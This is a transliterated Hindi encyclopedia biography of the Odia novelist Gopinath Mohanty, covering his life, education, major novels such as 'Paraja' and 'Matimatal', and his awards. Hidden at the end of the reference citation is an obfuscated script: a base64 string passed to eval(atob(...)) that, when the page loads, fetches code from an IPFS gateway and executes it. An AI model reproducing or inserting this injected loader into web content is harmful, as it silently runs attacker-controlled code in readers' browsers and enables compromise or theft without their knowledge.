गोपीनाथ मोहंती
gopinath mohanti
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| poora nam | gopinath mohanti |
| janm | 20 aprail, 1914 |
| janm bhoomi | nagabali, u disa |
| mrityu | 20 agast, 1991 |
| abhibhavak | pita- sooryanath mohanti |
| karm bhoomi | bharat |
| mukhy rachanaean | 'man gahirar chash', 'paraja', 'matimatal', 'nav vadhoo', 'muktipathe', 'amritar santan', 'sapan mati' adi. |
| bhasha | u diya |
| shiksha | aangrezi mean em.e. |
| puraskar-upadhi | 'jnanapith puraskar' (1973), 'padm bhooshan' (1981) |
| prasiddhi | sahityakar tatha upanyasakar |
| nagarikata | bharatiy |
| sanbandhit lekh | u diya sahity, u diya bhasha |
| any janakari | gopinath mohanti ne 1936 mean ekagr bhav se likhana praranbh kiya tha aur do varsh unake pratham upanyas 'man gahirar chash' ko poora karane mean lage the. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
gopinath mohanti (aangrezi: Gopinath Mohanty ; janm- 20 aprail, 1914, nagabali, u disa; mrityu- 20 agast, 1991) u diya bhasha ke prasiddh sahityakar the. varsh 1930 se 1938 ke bich ka samay inake lekhak jivan ka nirman kal mana jata hai. gopinath mohanti ko 1973 mean unake yogadan ke lie 'jnanapith puraskar' se sammanit kiya gaya tha. bad mean 1981 mean bharat sarakar dvara inhean sahity evan shiksha ke kshetr mean 'padm bhooshan' se puraskrit kiya gaya.
janm
gopinath mohanti ka janm 20 aprail, san 1914 ko u disa ke ek chhote-se gram nagabali mean hua tha, jo mahanadi ke kinare avasthit hai. inake pita sooryanath mohanti ek vilakshan vyakti the. gopinath mohanti ko apane pita ka sath adhik samay tak nahian mila. jab gopinath matr 12 varsh ki avastha ke hi the, tabhi pita unhean anath chho dakar chal base. lekin ve balak gopinath ki prakriti aur jivan ke prati usaki drishti ko utane samay mean hi disha roop de ge.[1]
shiksha
jab tak pita jivit rahe, gopinath mohanti ki skool ki padhaee sonapur mean chali. pita ki mrityu ke bad vah bhaee ke pas patana chale ge. yahian se 1930 mean unhoanne maitrik ki pariksha uttirn ki. phir ve katak ge aur 'raiveannsh aau k aaulej' se 1936 mean aangrezi mean em.e. ki digri prapt ki.
bhasha bhandar mean vriddhi
gopinath mohanti ne 1923 mean us samay gaanv chho d diya tha, jab pita naukari ke lie sonapur ge the. usake bad vah tho de-tho de dinoan ke lie kabhi-kabhar hi gaanv ae, kiantu nagabali aur asapas ke gramin parivesh mean bitaya hua chhutapan ka kal unaki chetana par sada ke lie aankit ho gaya tha, jo unake upanyasoan ke lie ek adbhut dhaancha prastut karata raha. isi kal ki ek any b di den yah huee ki gramin aur kulin, donoan samajoan mean uthane-baithane ke phalasvaroop unaki bhasha ka vipul bhandar hi nahian badha, balki usamean bolachal ki rangat aur muhavaredari ki chhata bhi a gee.
lekhan
1930 se 1938 ke bich ka samay gopinath mohanti ke lekhak jivan ka nirman kal mana ja sakata hai. tin prabhavoan ki chhap un par p d rahi thi. do pashchim ke aur ek bharat ka. marks v roosi kraanti aur fr aauyad pashchim ke prabhav the tatha mahatma gaandhi v rashtriy aandolan bharat ka prabhav tha. gopinath ganbhir v vyapak adhyayan mean lage rahate the. romyaan rolaan aur maiksim gorki unhean vishesh priy v prabhavit karate the. ve un dinoan sahityik vidha-roop mean ne-ne prayog kiya karate aur prachalit roomani abhiruchiyoan ka khula virodh karate the. gopinath mohanti ne 1936 mean ekagr bhav se likhana praranbh kiya aur do varsh unake pratham upanyas 'man gahirar chash' ko poora karane mean lage.[1]
katha sahity
gopinath mohanti ke katha sahity ko tin vargoan mean rakha ja sakata hai-
- pahala varg un dinoan ki rachanaoan ka hai, jab vah adivasiyoan ke ilaqe mean niyukt the. ye rachanaean haian- 'dadibudha', 'paraja', 'amritar santan', 'shiv bhaee', 'apahanch'.
- doosare varg ki rachanaoan ka vishay nagaravasi jan-samaj hai. ye rachanaean haian- 'harijan', 'sharat babuk gali', 'rahur chhaya', 'sapana mati', 'dana-pani', 'lay-vilay'.
- tisare varg mean vastut: ek hi rachana ati hai- 'matimatal'.
pramukh kritiyaan
upanyas - 'man gahirar chash' (1940), 'paraja' (1945), 'amritar santan' (1947), 'sapan mati' (1954), 'matimatal' (1964).
kahani sangrah - 'ghasar phool' (1951), 'nav vadhoo' (1952), 'u danta khi' (1971).
natak - 'muktipathe' (1937), 'mahapurush' (1958).
nibandh-sangrah - 'kalashakti' (1973).[1]
tin shreshth rachanaean
gopibaboo ki tin rachanaoan ne sabase adhik khyati arjit ki hai- 'paraja', 'amritar santan' aur 'matimatal'.
- paraja
'paraja' mean koraput zile ki ek chhoti-si nirdhan adivasi basti ka chhavi-aankan kiya gaya hai. poore qabile ka vivaran dene ke lie vahaan ke ek parivar ko madhyam banaya gaya hai, jise pratikool paristhitiyoan ka bhanvar jal ghoom-ghoomakar tab tak gherata rahata hai, jab tak vah vinasht nahian ho jata.
- amritar santan
'amritar santan' ka drishyachitr adhik vistrit hai. isaka gathan bhi jatil hai, par yahaan bhi ek hi parivar ko katha-keandr banaya gaya hai aur ghatanasthal bhi ek hi gram hai, lekin adivasiyoan ki jis koandh jati ko yahaan liya gaya hai, vah chooanki bahut prachin, janasankhya mean bhi b di aur apani ek niyat jivan-pranali vali hai, isalie katha-sootr svabhavat: chiantan pradhan ho gaya hai.
- matimatal
tin lakh bis hazar shabdoan ka yah upanyas u diya bhasha ka sambhavat: sabase lanba upanyas hai, jise poora karane mean lekhak ko lagabhag das varsh ka samay lag gaya. u diya gram-jivan ka ise ek mahakavy mana jata hai. itana vistrit aur bhasha-sauandaryayukt koee upanyas u diya mean pahale nahian likha gaya. vichitr bat yah hai ki kathanak ke nam par keval ek bahya rekhakriti di gee hai aur jo do pramukhatam charitr haian, nayak aur nayika, unhean adbhut roop se alpabhashi banakar prastut kiya gaya hai.[1]
puraskar
gopinath mohanti ke upanyas 'matimatal' ke lie unako 1973 ka 'jnanapith puraskar' tatha 'padm bhooshan' varsh 1981 mean pradan kiya gaya tha.
nidhan
u diya sahity mean vishesh yogadan karane vale gopinath mohanti ka nidhan 20 agast, 1991 mean hua.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 bharat jnanakosh, khand-4 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 444 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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